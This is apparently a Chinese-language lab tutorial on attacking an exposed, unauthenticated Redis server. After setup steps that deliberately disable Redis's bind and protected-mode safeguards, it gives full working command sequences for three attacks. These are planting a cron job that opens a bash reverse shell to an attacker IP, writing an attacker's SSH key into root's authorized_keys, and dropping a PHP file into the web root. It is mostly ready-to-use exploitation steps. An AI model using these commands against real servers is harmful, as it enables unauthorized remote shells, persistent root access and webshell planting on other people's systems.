0x01 安装redis
centos安装Redis
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件 redis.conf
bind 127.0.0.1前面加上#号 protected-mode设为no
启动redis-server
./src/redis-server redis-conf
0x02 Redis的基本命令
连接redis:
redis-cli -h 192.168.63.130
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.63.130:6379>info
将变量x的值设为test:
192.168.63.130:6379>set x "test"
是把整个redis数据库删除,一般情况下不要用!!!
192.168.63.130:6379>flushall
查看所有键:
192.168.63.130:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename
第一种攻击方法:利用计划任务来反弹一个shell权限。
首先在攻击机设立一个nc反弹接收端。
之后执行命令,将值导出,改变导出目录以及文件名
root@kali:~# redis-cli -h 192.168.63.130 // 开始连接靶机
192.168.63.130:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1" //创建一个任务计划
OK
192.168.63.130:6379> config set dir /var/spool/cron/ // 改变导出目录
OK
192.168.63.130:6379> config set dbfilename root // 改变文件名为root
OK
192.168.63.130:6379> save //保存
OK
之后linux攻击机就会接收到反弹的shell了,不过这个也只能针对root权限,其他用户可能没有权限执行crontab命令。
第二种攻击方法:写ssh-keygen公钥然后使用私钥登陆
这次攻击需要用到一款工具,叫做ssh-keygen,直接在linux里面执行 ssh-keygen -t rsa 就可以了,然后一路回车。
只不过和上次不同的是改变路径罢了,实现的还是和上次一样,目的就是导出文件。
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK
之后无需密码,直接登录,非常刺激
第三种攻击方法:写webshell
这个就非常好理解了,和mysql日志提权一个道理,大家可以去试试。
192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK